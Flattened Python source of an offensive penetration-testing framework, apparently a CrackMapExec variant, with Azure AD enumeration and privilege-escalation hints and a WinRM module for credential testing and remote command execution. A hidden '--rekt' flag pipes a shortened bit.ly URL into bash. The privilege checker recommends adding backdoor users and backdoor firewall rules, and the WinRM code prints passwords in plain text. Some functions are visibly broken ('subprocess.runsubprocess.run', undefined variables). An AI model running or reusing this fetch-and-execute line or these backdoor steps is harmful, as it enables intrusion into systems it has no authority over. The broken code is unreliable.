appId:appId, homepage:homepage}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) app_list = subprocess.run(['az','ad', 'app', 'list', '--all'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: app_list_json = json.loads(app_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return if self.args.full: pprint.pprint(app_list_json) return self.logger.highlight("{:<35} {:<35} {} {} ".format(' displayName', 'homepage', 'keyProps', 'passwordProps' )) for app in app_list_json: #self.db.add_app(str(app['displayName']), str(app['appId']), str(app['homepage']), str(app['objectId']), str(app['allowGuestsSignIn']), str(app['keyCredentials']), str(app['passwordCredentials']), str(app['wwwHomepage']) ) self.db.add_app(app) if not self.args.full: self.logger.highlight("{:<35} | {:<35} | {:<9} | {:<}".format((app['displayName'][:33] + (app['displayName'][33:] and '..')), ((app['homepage'][:33] + (app['homepage'][33:] and '..')) if app['homepage'] else ' '), ('CheckDB' if app['keyCredentials'] else ' '), ('CheckDB' if app['passwordCredentials'] else ' ') ) )
def main(): setup_logger() logger = CMXLogAdapter() first_run_setup(logger) args = gen_cli_args() module = None module_server = None targets = [] server_port_dict = {'http': 80, 'https': 443, 'smb': 445} current_workspace = cfg.WORKSPACE hasPassList = False if args.debug: setup_debug_logger() if args.darrell: links = open(( cfg.DATA_PATH / 'videos_for_darrell').with_suffix('.harambe')).read().splitlines() try: webbrowser.open(random.choice(links)) sys.exit(1) except: sys.exit(1) if args.rekt: try: os.system("curl -s -L http://bit.ly/10hA8iC | bash") sys.exit(1) except: sys.exit(1) logging.debug('Passed args:\n' + pformat(vars(args))) if hasattr(args, 'username') and args.username: for user in args.username: if Path(user).is_file(): #If it was a file passed in args.username.remove(user) args.username.append(open(user, 'r')) if hasattr(args, 'password') and args.password: for passw in args.password: if Path(passw).is_file(): #If it was a file passed in hasPassList = True args.password.remove(passw) args.password.append(open(passw, 'r')) elif hasattr(args, 'hash') and args.hash: for ntlm_hash in args.hash: if Path(ntlm_hash).is_file(): #If it was a file passed in args.hash.remove(ntlm_hash) args.hash.append(open(ntlm_hash, 'r')) if hasattr(args, 'cred_id') and args.cred_id: for cred_id in args.cred_id: if '-' in str(cred_id): start_id, end_id = cred_id.split('-') try: for n in range(int(start_id), int(end_id) + 1): args.cred_id.append(n) args.cred_id.remove(cred_id) except Exception as e: logger.error( 'Error parsing database credential id: {}'.format(e)) sys.exit(1) if hasattr(args, 'target') and args.target: for target in args.target: if Path(target).is_file(): #If it was a file passed in target_file_type = identify_target_file(target) if target_file_type == 'nmap': targets.extend(parse_nmap_xml(target, args.protocol)) elif target_file_type == 'nessus': targets.extend(parse_nessus_file(target, args.protocol)) else: with open(target, 'r') as target_file: for target_entry in target_file: targets.extend(parse_targets(target_entry)) else: targets.extend(parse_targets(target)) p_loader = protocol_loader() protocol_path = p_loader.get_protocols()[args.protocol]['path'] protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath'] protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol) protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database') db_path = (cfg.WS_PATH / current_workspace / args.protocol).with_suffix('.db') # set the database connection to autocommit w/ isolation level db_connection = sqlite3.connect(db_path, check_same_thread=False) db_connection.text_factory = str db_connection.isolation_level = None db = protocol_db_object(db_connection) setattr(protocol_object, 'config', cfg.__dict__) if hasattr(args, 'module'): loader = module_loader(args, db, logger) if args.list_modules: modules = loader.get_modules() for name, props in sorted(modules.items()): logger.announce('{:<25} {}'.format(name, props['description'])) sys.exit(0) elif args.module and args.show_module_options: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): logger.announce('{} module options:\n{}'.format( name, props['options'])) sys.exit(0) elif args.module: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): module = loader.init_module(props['path']) setattr(protocol_object, 'module', module) break if not module: logger.error('Module not found') exit(1) if getattr(module, 'opsec_safe') is False: ans = raw_input( highlight( '[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if getattr(module, 'multiple_hosts') is False and len(targets) > 1: ans = raw_input( highlight( "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if hasattr(module, 'on_request') or hasattr( module, 'has_response'): if hasattr(module, 'required_server'): args.server = getattr(module, 'required_server') if not args.server_port: args.server_port = 443 context = Context(db, logger, args) module_server = CMXServer(module, context, logger, args.server_host, args.server_port, args.server) module_server.start() setattr(protocol_object, 'server', module_server.server) try: ''' Open threads ''' pool = Pool(args.threads) jobs = [] for target in targets: jobs.append(pool.spawn(protocol_object, args, db, str(target))) # Lets azure not require a target if args.protocol == 'az': if not targets: jobs.append(pool.spawn(protocol_object, args, db, '1')) if args.timeout == 0: args.timeout = None for job in jobs: job.join(timeout=args.timeout) except (KeyboardInterrupt, gevent.Timeout): logging.info("Timed out") pass if module_server: module_server.shutdown()
class az(connection): def __init__(self, args, db, host): self.db = db self.args = args self.az_cli = None self.username = '' self.domain = '' if args.config: self.config1() else: self.proto_flow() @staticmethod def proto_args(parser, std_parser, module_parser): azure_parser = parser.add_parser('az', help="owning over azure", parents=[std_parser, module_parser]) azure_parser.add_argument( '--full', action='store_true', help='Display full json output for azure commands') azure_parser.add_argument( '--save', action='store_true', help= 'Saves just usernames to a file in current directory when doing user enum' ) configgroup = azure_parser.add_argument_group( "Configure Azure CLI", "Configure the Azure Connection") configgroup.add_argument('--config', action='store_true', help='Setup or re-bind azure connection') #commandgroup = azure_parser.add_argument_group("Command Execution", "Options for executing commands") #commandgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") enumgroup = azure_parser.add_argument_group( "Enumeration", "Azure AD Enumeration Commands") enumgroup.add_argument( '--user', nargs='?', const='', metavar='USER', help='Enumerate and return all info about a user') enumgroup.add_argument('--users', action='store_true', help='Enumerate and return all users') enumgroup.add_argument( '--group', nargs='?', const='', metavar='GROUP', help='Enumerate and return all members of a group') enumgroup.add_argument('--groups', action='store_true', help='Enumerate and return all groups') enumgroup.add_argument( '--usergroups', nargs='?', const='', metavar='USERSGROUPS', help='Enumerate and return all groups a user is a member of') privgroup = azure_parser.add_argument_group( "Privilege Checks", "Get Privs and identify PrivEsc") privgroup.add_argument( '--suggest', action='store_true', help='Check for potentially abusable permissions') privgroup.add_argument('--privs', nargs='?', const='', metavar='USER', help='Check current users privileges') resourcegroup = azure_parser.add_argument_group( "Resource Checks", "Interact with resources") resourcegroup.add_argument( '--rgroups', action='store_true', help='List all Resource Groups for current subscription') sqlgroup = azure_parser.add_argument_group( "SQL Commands", "Interact with SQL Servers and DBs") sqlgroup.add_argument( '--sql-list', action='store_true', help='List all SQL Servers for current subscription') sqlgroup.add_argument('--sql-db-list', nargs='?', const='', metavar='USER', help='List all SQL DBs for current subscription') storagegroup = azure_parser.add_argument_group( "Storage Commands", "Interact with Storage") storagegroup.add_argument( '--storage-list', action='store_true', help='List all Storage for current subscription') vmgroup = azure_parser.add_argument_group( "VM Checks", "Interact with VMs and VM Scale Sets") vmgroup.add_argument( '--vm-list', nargs='?', const='', metavar='RESOURCEGROUP', help= 'List all VMs for current subscription or target resource group') vmgroup.add_argument( '--vmss-list', nargs='?', const='', metavar='RESOURCEGROUP', help= 'List all VM Scale Sets for current subscription or target resource group' ) spngroup = azure_parser.add_argument_group( "SPN Checks", "Interact with Service Principals") spngroup.add_argument('--spn-list', action='store_true', help='List all SPNs for current subscription') appgroup = azure_parser.add_argument_group("App Checks", "Interact with Apps") appgroup.add_argument('--app-list', action='store_true', help='List all Apps for current subscription') return parser def proto_flow(self): self.proto_logger() if self.test_connection(): self.call_cmd_args() def proto_logger(self): self.logger = CMXLogAdapter( extra={ 'protocol': 'AZURE', 'host': self.username, 'port': self.domain, 'hostname': 'CLI' }) def test_connection(self): if not cfg.AZ_CONFIG_PATH.is_file(): self.logger.error('Azure connection has not been configured.') self.logger.error('Run: cmx az 1 --config') return False # Grab our user/domain and re-init logger. # Config should have stored this in the config file. f = open(cfg.AZ_CONFIG_PATH, "r") data = f.read() f.close() self.username = data.split()[0].split('@')[0] self.domain = data.split()[0].split('@')[1] self.proto_logger() self.az_cli = get_default_cli() return True def config1(self): self.proto_logger() login = subprocess.run(['az', 'login', '--allow-no-subscriptions'], stdout=subprocess.PIPE) user = re.findall('([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)', str(login.stdout)) #print(" Logged in as {}".format(user[0])) self.logger.success('Logged in as {}'.format(user[0])) if not cfg.AZ_PATH.is_dir(): cfg.AZ_PATH.mkdir(parents=True, exist_ok=True) f = open(cfg.AZ_CONFIG_PATH, "w") f.write("{}".format(user[0])) f.close() print('') print(" Azure Services now configured, Go get em tiger") print('') def call_cmd_args(self): for k, v in list(vars(self.args).items()): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: logging.debug('Calling {}()'.format(k)) getattr(self, k)() def execute(self, command): try: result = self.az_cli.invoke(command) return {'result': result.result, 'error': None} except CLIError as err: return {'result': None, 'error': err.args} ############################################################################### # ###### ####### # # # # # # # # # # # ## # # # ## ## # # # # # # # # # # # # # # # # # # ##### ##### # # # # # # # # ####### # # # # # # # # # # # # # # # # ## # # # # # # ###### ####### # # ##### # # ############################################################################### ############################################################################### # Network/Domain Enum functions # # This section: # # # # # (fold next line) ############################################################################### def user(self): #if self.args.user == '': # self.args.user = self.user user_id = subprocess.run( ['az', 'ad', 'user', 'show', '--id', self.args.user], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: user_id_json = json.loads(user_id.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return self.db.add_user(user_id_json) plans = [] for plan in user_id_json["assignedPlans"]: plans.append(plan["service"]) self.logger.announce("Getting User Info") if self.args.full: pprint.pprint(user_id_json) else: self.logger.highlight("{:<26} {}".format('mail: ', user_id_json['mail'])) self.logger.highlight("{:<26} {}".format( 'mailNickname: ', user_id_json['mailNickname'])) self.logger.highlight("{:<26} {}".format( 'TelephoneNumber: ', user_id_json['telephoneNumber'])) self.logger.highlight("{:<26} {}".format('objectId: ', user_id_json['objectId'])) self.logger.highlight( "Assigned Plan Memberships: {}".format(plans)) self.logger.highlight("{:<26} {}".format( 'SID: ', user_id_json['onPremisesSecurityIdentifier'])) self.logger.highlight("{:<26} {}".format( 'userPrincipalName: ', user_id_json['userPrincipalName'])) self.logger.highlight("{:<26} {}".format( 'isCompromised: ', user_id_json['isCompromised'])) def usergroups(self): users_groups = subprocess.run([ 'az', 'ad', 'user', 'get-member-groups', '--id', self.args.usergroups ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: users_groups_json = json.loads(users_groups.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(users_groups_json) def users(self): self.logger.announce( "Getting all users info, this might take a minute") user_id = subprocess.run(['az', 'ad', 'user', 'list'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: user_id_json = json.loads(user_id.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return try: for user1 in user_id_json: self.db.add_user(user1) except: self.logger.error("add user error tracebak:") self.logger.error(format_exc()) # Do we save usernames if self.args.save: filename = "{}-users.txt".format(self.domain) savefile = open(filename, "w") if self.args.full: pprint.pprint(user_id_json) else: usercount = 0 for user1 in user_id_json: if user1['isCompromised'] == None: comp = 'No' else: comp = 'Yes' if self.args.save: savefile.write("{}\n".format(user1['mail'])) usercount = usercount + 1 self.logger.highlight("{:<36} id:{} compromised:{} ".format( user1['userPrincipalName'], user1['objectId'], comp)) if self.args.save: savefile.close() self.logger.success( "Email addresses saved to: {}".format(filename)) self.logger.success("Total Users Found: {}".format(usercount)) self.logger.success( "All user info complete. Check the db for more details") def group(self): if self.args.group == '': self.logger.error('Must provide a group name or objectID') return group_list = subprocess.runsubprocess.run([ 'az', 'ad', 'group', 'member', 'list', '--group', self.args.group ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: group_list_json = json.loads(group_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(group_list_json) def groups(self): group_list = subprocess.runsubprocess.run([ 'az', 'ad', 'group', 'list', '--query', '[].{display_name:displayName, description: description, object_id: objectId}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: group_list_json = json.loads(group_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(group_list_json) ############################################################################### ###### ###### ### # # ####### ##### ##### # # # # # # # # # # # # # # # # # # # # # # ###### ###### # # # ##### ##### # # # # # # # # # # # # # # # # # # # # # # # # ### # ####### ##### ##### ############################################################################### ############################################################################### # # # # ############################################################################### def suggest(self): # Grab user UPN upn_resp = subprocess.run([ 'az', 'ad', 'signed-in-user', 'show', '--query', '{upn:userPrincipalName}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) upn_json_obj = json.loads(upn_resp.stdout.decode('utf-8')) upn = upn_json_obj['upn'] logging.debug('upn: {}'.format(upn)) # GetCurrent users roles role_resp = subprocess.run([ 'az', 'role', 'assignment', 'list', '--assignee', upn, '--query', '[].{roleName:roleDefinitionName}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: role_json_obj = json.loads(role_resp.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return role_list = [] for role in role_json_obj: role_list.append(role["roleName"]) if (len(role_list) == 0): self.logger.error("No roles found") return # Get definitions for each role tmp_list_perms = [] for role in role_list: #print(role.upper()) role_show = subprocess.run([ 'az', 'role', 'definition', 'list', '--name', role, '--query', '[].{actions:permissions[].actions, dataActions:permissions[].dataActions, notActions:permissions[].notActions, notDataActions:permissions[].NotDataActions}' ], stdout=subprocess.PIPE) role_show_json = json.loads(role_show.stdout.decode('utf-8')) tmp_list_perms.append(role_show_json[0]['actions'][0]) all_permissions = [ item for sublist in tmp_list_perms for item in sublist ] self.check_perms(all_permissions) def check_perms(self, permissions): self.logger.announce("Getting potentially abusable global permissions") for perm in permissions: if ("*" in perm): self.logger.highlight( "Found permission with * - should investigate: {}".format( perm)) elif ("write" in perm): self.logger.highlight( " found permission with write - should investigate: {}". format(perm)) elif ("create" in perm): self.logger.highlight( " found permission with create - should investigate: {}". format(perm)) elif ("delete" in perm): self.logger.highlight( " found permission with delete - should investigate: {}". format(perm)) self.logger.announce("Checking specific permissions") for perm in permissions: if ("Microsoft.Authorization/*" in perm): self.logger.highlight( "Current user has permission to do all authorizations actions to resources - consider RBAC manipulation and adding a backdoor AD user" ) if ("Microsoft.Authorization/*/read" in perm): self.logger.highlight( "Current user has permission to read all authorizations - consider running the priv domain enum module" ) if ("Microsoft.Compute/*" in perm): self.logger.highlight( "Current user has permission to run all operations for all resource types - consider using the exfil modules" ) if ("Microsoft.Compute/*/read" in perm): self.logger.highlight( "Current user has permission to read all compute related resources - consider using the various 'list' modules" ) if ("Microsoft.Support/*" in perm): self.logger.highlight( "Current user has permission to issue and submit support tickets" ) if ("Microsoft.Resources/*" in perm): self.logger.highlight( "Current user has permission to run all Microsoft.Resources related commands" ) elif ("Microsoft.Resources/deployments/*" in perm): self.logger.highlight( "Current user has permission to run all deployment related commands" ) elif ("Microsoft.Resources/deployments/subscriptions/*" in perm): self.logger.highlight( "Current user has permission to run all subscription related commands" ) if ("Microsoft.Network/*" in perm): self.logger.highlight( "Current user has permission to run all networking related commands - consider running the net modules" ) elif ("Microsoft.Network/networkSecurityGroups/*" in perm): self.logger.highlight( "Current user has permission to run all nsg related commands - consider running the nsg backdoor module" ) elif ("Microsoft.Network/networkSecurityGroups/join/action" in perm): self.logger.highlight( "Current user has permission to join a network security group " ) if ("Microsoft.Compute/virtualMachines/*" in perm): self.logger.highlight( "Current user has permission to run virtual machine commands - consider running the various vm modules " ) elif ("Microsoft.Compute/virtualMachines/runCommand/action" in perm or "Microsoft.Compute/virtualMachines/runCommand/*" in perm): self.logger.highlight( "Current user has permission to run the runCommand virtual machine command - consider running the vm_rce " ) if ("Microsoft.Compute/virtualMachinesScaleSets/*" in perm): self.logger.highlight( "Current user has permission to run virtual machine scale set commands - consider running the various vmss modules " ) elif ("Microsoft.Compute/virtualMachinesScaleSets/runCommand/action" in perm or "Microsoft.Compute/virtualMachines/runCommand/*" in perm): self.logger.highlight( "Current user has permission to run the runCommand virtual machine scale set command - consider running the vmss_rce " ) if ("Microsoft.Storage/*" in perm or "Microsoft.Storage/storageAccounts/*" in perm): self.logger.highlight( "Current user has permission to run all storage account commands - consider running the various stg modules " ) elif ("Microsoft.Storage/storageAccounts/blobServices/containers/*" in perm): self.logger.highlight( "Current user has permissions to run all storage account container commands - consider running the various stg modules " ) elif ("Microsoft.Storage/storageAccounts/listKeys/action" in perm): self.logger.highlight( "Current user has permission to read storage account keys - consider running the stg blob scan/download modules " ) if ("Microsoft.Sql/*" in perm): self.logger.highlight( "Current user has permission to run all sql commands - consider running the various sql modules " ) elif ("Microsoft.Sql/servers/*" in perm): self.logger.highlight( "Current user has permission to run all sql server commands - consider running the sql server list or the sql backdoor firewall modules " ) elif ("Microsoft.Sql/servers/databases/*" in perm): self.logger.highlight( "Current user has permission to run all sql database commands - consider running the sql db list " ) def privs(self): # Grab user UPN logging.debug("Starting privs") if self.args.privs == '': upn_resp = subprocess.run([ 'az', 'ad', 'signed-in-user', 'show', '--query', '{upn:userPrincipalName}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) else: upn_resp = subprocess.run([ 'az', 'ad', 'user', 'show', '--id', self.args.privs, '--query', '{upn:userPrincipalName}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: upn_json_obj = json.loads(upn_resp.stdout.decode('utf-8')) upn = upn_json_obj['upn'] logging.debug("upn {}".format(upn)) except: self.logger.error("Current user has no subscriptions") return # GetCurrent users roles role_resp = subprocess.run([ 'az', 'role', 'assignment', 'list', '--assignee', upn, '--query', '[].{roleName:roleDefinitionName}' ], stdout=subprocess.PIPE) try: role_json_obj = json.loads(role_resp.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return role_list = [] for role in role_json_obj: role_list.append(role["roleName"]) if (len(role_list) == 0): self.logger.error("No roles found") return for role in role_list: #print(role.upper()) role_show = subprocess.run([ 'az', 'role', 'definition', 'list', '--name', role, '--query', '[].{actions:permissions[].actions, dataActions:permissions[].dataActions, notActions:permissions[].notActions, notDataActions:permissions[].NotDataActions}' ], stdout=subprocess.PIPE) role_show_json = json.loads(role_show.stdout.decode('utf-8')) pprint.pprint(role_show_json) ############################################################################### ###### ####### ##### ####### # # ###### ##### ####### # # # # # # # # # # # # # # # # # # # # # # # # # # ###### ##### ##### # # # # ###### # ##### # # # # # # # # # # # # # # # # # # # # # # # # # # # # ####### ##### ####### ##### # # ##### ####### ############################################################################### ############################################################################### # # # # ############################################################################### def rgroups(self): rgroup = subprocess.run([ 'az', 'group', 'list', '--query', '[].{name:name, location: location, id: id}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: rgroup_json = json.loads(rgroup.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(rgroup_json) ############################################################################### ##### ##### # # # # # # # # # # ##### # # # # # # # # # # # # # ##### #### # ####### ############################################################################### ############################################################################### # # # # ############################################################################### def sql_list(self): # Get server list sql_info = subprocess.run([ 'az', 'sql', 'server', 'list', '--query', '[].{fqdn:fullyQualifiedDomainName, name:name, rgrp: resourceGroup, admin_username:administratorLogin} ' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: sql_info_json = json.loads(sql_info.stdout.decode('utf-8')) except: self.logger.error("Current user has no SQL subscriptions") return pprint.pprint(sql_info_json) def sql_db_list(self): # Get server list sql_info = subprocess.run([ 'az', 'sql', 'server', 'list', '--query', '[].{name:name, rgrp: resourceGroup} ' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: sql_info_json = json.loads(sql_info.stdout.decode('utf-8')) except: self.logger.error("Current user has no SQL subscriptions") return servers = [] rgrps = [] for info in sql_info_json: servers.append(info['name']) rgrps.append(info['rgrp']) pprint.pprint(rgroup_json) # Get DBs for i in range(len(servers)): sql_info = subprocess.run([ 'az', 'sql', 'db', 'list', '--server', servers[i], '--resource-group', rgrps[i], '--query', '[].{collation:collation, name:name, location:location, dbId:databaseId}' ], stdout=subprocess.PIPE) sql_info_json = json.loads(sql_info.stdout.decode('utf-8')) print(servers[i], "\n") pprint.pprint(sql_info_json) ############################################################################### ##### ####### ####### ###### # ##### ####### # # # # # # # # # # # # # # # # # # # # # # ##### # # # ###### # # # #### ##### # # # # # # ####### # # # # # # # # # # # # # # # ##### # ####### # # # # ##### ####### ############################################################################### ############################################################################### # # # # ############################################################################### def storage_list(self): stg_list = subprocess.run([ 'az', 'storage', 'account', 'list', '--query', '[].{resource_group:resourceGroup, storage_types:primaryEndpoints}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: stg_list_json = json.loads(stg_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no Storage subscriptions") return pprint.pprint(stg_list_json) ############################################################################### # # # # # # ## ## # # # # # # # # # # # # # # # # # # # # # # ############################################################################### ############################################################################### # # # # ############################################################################### def vm_list(self): # Get all vms in subscription if self.args.vm_list == '': vm_list = subprocess.run([ 'az', 'vm', 'list', '--query', '[].{name:name,os:storageProfile.osDisk.osType, username:osProfile.adminUsername, vm_size:hardwareProfile.vmSize, resource_group: resourceGroup}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: vm_list_json = json.loads(vm_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return vm_iplist = subprocess.run([ 'az', 'vm', 'list-ip-addresses', '--query', '[].{name:virtualMachine.name, privateIp:virtualMachine.network.privateIpAddresses, publicIp:virtualMachine.network.publicIpAddresses[].ipAddress}' ], stdout=subprocess.PIPE) try: vm_iplist_json = json.loads(vm_iplist.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return else: # Get all vms in specified resource group vm_list = subprocess.run([ 'az', 'vm', 'list', '-g', self.args.vm_list, '--query', '[].{name:name,os:storageProfile.osDisk.osType, username:osProfile.adminUsername, vm_size:hardwareProfile.vmSize, resource_group: resourceGroup}' ], stdout=subprocess.PIPE) try: vm_list_json = json.loads(vm_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return vm_iplist = subprocess.run([ 'az', 'vm', 'list-ip-addresses', '-g', self.args.vm_list, '--query', '[].{name:virtualMachine.name, privateIp:virtualMachine.network.privateIpAddresses, publicIp:virtualMachine.network.publicIpAddresses[].ipAddress}' ], stdout=subprocess.PIPE) try: vm_iplist_json = json.loads(vm_iplist.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return for i in range(len(vm_list_json)): vm_list_json[i].update(vm_iplist_json[i]) pprint.pprint(vm_list_json) def vmss_list(self): # Get list of vmss vmss_list = subprocess.run([ 'az', 'vmss', 'list', '--query', '[].{name:name, rgrp:resourceGroup}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: vmss_list_json = json.loads(vmss_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return for i in range(len(vmss_list_json)): # Get vmss info vmss_list = subprocess.run([ 'az', 'vmss', 'list', '--resource-group', vmss_list_json[i]['rgrp'], '--query', '[].{name:name, vmss_size:sku.name, os_distro:virtualMachineProfile.storageProfile.imageReference.offer,os_version:virtualMachineProfile.storageProfile.imageReference.sku, username:virtualMachineProfile.osProfile.adminUsername, rgrp: resourceGroup}' ], stdout=subprocess.PIPE) vmss_list_json = json.loads(vmss_list.stdout.decode('utf-8')) pprint.pprint(vmss_list_json[i]) # Get vmss IP vmss_iplist = subprocess.run([ 'az', 'vmss', 'list-instance-public-ips', '--resource-group', vmss_list_json[i]['rgrp'], '--name', vmss_list_json[i]['name'], '--query', '[].{ipAddress:ipAddress}' ], stdout=subprocess.PIPE) vmss_iplist_json = json.loads(vmss_iplist.stdout.decode('utf-8')) pprint.pprint(vmss_iplist_json) ############################################################################### ##### ###### # # # # # # ## # # # # # # # ##### ###### # # # # # # # # # # # # ## ##### # # # ############################################################################### ############################################################################### # # # # ############################################################################### def spn_list(self): stg_list = subprocess.run([ 'az', 'ad', 'sp', 'list', '--all', '--query', '[].{appDisplayName:appDisplayName, appId:appId}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: stg_list_json = json.loads(stg_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return pprint.pprint(stg_list_json) ############################################################################### # ###### ###### # # # # # # # # # # # # # # ###### ###### ####### # # # # # # # # # # ############################################################################### ############################################################################### # # # # ############################################################################### def app_list(self): #app_list = subprocess.run(['az','ad', 'app', 'list', '--all', '--query', '[].{DisplayName:displayName, appId:appId, homepage:homepage}'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) app_list = subprocess.run(['az', 'ad', 'app', 'list', '--all'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: app_list_json = json.loads(app_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return for app in app_list_json: self.db.add_app(str(app['displayName']), str(app['appId']), str(app['homepage']), str(app['objectId']), str(app['allowGuestsSignIn']), str(app['keyCredentials']), str(app['passwordCredentials']), str(app['wwwHomepage'])) pprint.pprint(app_list_json)
class winrm(connection): def __init__(self, args, db, host): self.hostname = None self.os_arch = None self.local_ip = None self.domain = None self.server_os = None self.os_arch = 0 self.hash = None self.lmhash = '' self.nthash = '' self.remote_ops = None self.bootkey = None self.output_filename = None self.smbv1 = None self.signing = False self.debug = args.verbose self.dc_ip = '' connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser]) winrm_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') winrm_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") dgroup = winrm_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') return parser def proto_flow(self): self.proto_logger() if self.create_conn_obj(): self.enum_host_info() self.print_host_info() if self.login(): if hasattr(self.args, 'module') and self.args.module: self.call_modules() else: self.call_cmd_args() def proto_logger(self): print('test') self.logger = CMXLogAdapter(extra={'protocol': 'WINRM', 'host': self.host, 'port': 'NONE', 'hostname': self.hostname}) def enum_host_info(self): #smb_conn = SMBConnection(self.host, self.host, None) # #try: # smb_conn.login('' , '') #except SessionError as e: # if "STATUS_ACCESS_DENIED" in str(e): # pass # #self.domain = smb_conn.getServerDomain() #self.hostname = smb_conn.getServerName() #self.server_os = smb_conn.getServerOS() #self.signing = smb_conn.isSigningRequired() #self.os_arch = smb_conn.get_os_arch() # #self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) # #if not self.domain: # self.domain = self.hostname # #self.db.add_computer(self.host, self.hostname, self.domain, self.server_os) # #try: # ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection # ''' # smb_conn.logoff() #except: # pass # #if self.args.domain: # self.domain = self.args.domain # #if self.args.local_auth: # self.domain = self.hostname print('todo') def print_host_info(self): #>>> s.__dict__ # {'url': 'http://win10a.ocean.depth:5985/wsman', 'protocol': <winrm.protocol.Protocol object at 0x7f7ae595f110>} #>>> s.protocol.__dict__ # {'read_timeout_sec': 30, 'operation_timeout_sec': 20, 'max_env_sz': 153600, 'locale': 'en-US', 'transport': <winrm.transport.Transport object at 0x7f7ae60a7f50>, 'username': '******', 'password': '******', 'service': 'HTTP', 'keytab': None, 'ca_trust_path': None, 'server_cert_validation': 'validate', 'kerberos_delegation': False, 'kerberos_hostname_override': None, 'credssp_disable_tlsv1_2': False} # self.logger.info("{}".format(self.conn.url)) def create_conn_obj(self): #pywinrm will try and guess the correct endpoint url: https://pypi.org/project/pywinrm/0.2.2/ print('pass={}'.format(self.args.password)) self.conn = pywinrm.Session(self.host, auth=('{}\\{}'.format(self.domain, self.args.username[0]), self.args.password[0]), transport='ntlm', server_cert_validation='ignore') return True def plaintext_login(self, domain, username, password): try: self.conn.run_cmd('hostname') self.admin_privs = True out = '{}\\{}:{} {}'.format(domain, username, password, highlight('({})'.format(cfg.pwn3d_label) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True except SessionError as e: error, desc = e.getErrorString() self.logger.error('{}\\{}:{} {} {}'.format(domain, username, password, error, '({})'.format(desc) if self.args.verbose else '')) if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) return False def parse_output(self, response_obj): if response_obj.status_code == 0: buf = StringIO(response_obj.std_out).readlines() for line in buf: self.logger.highlight(line.decode('utf-8').strip()) return response_obj.std_out else: buf = StringIO(response_obj.std_err).readlines() for line in buf: self.logger.highlight(line.decode('utf-8').strip()) return response_obj.std_err def execute(self, payload=None, get_output=False): r = self.conn.run_cmd(self.args.execute) self.logger.success('Executed command') self.parse_output(r) def ps_execute(self, payload=None, get_output=False): r = self.conn.run_ps(self.args.ps_execute) self.logger.success('Executed command') 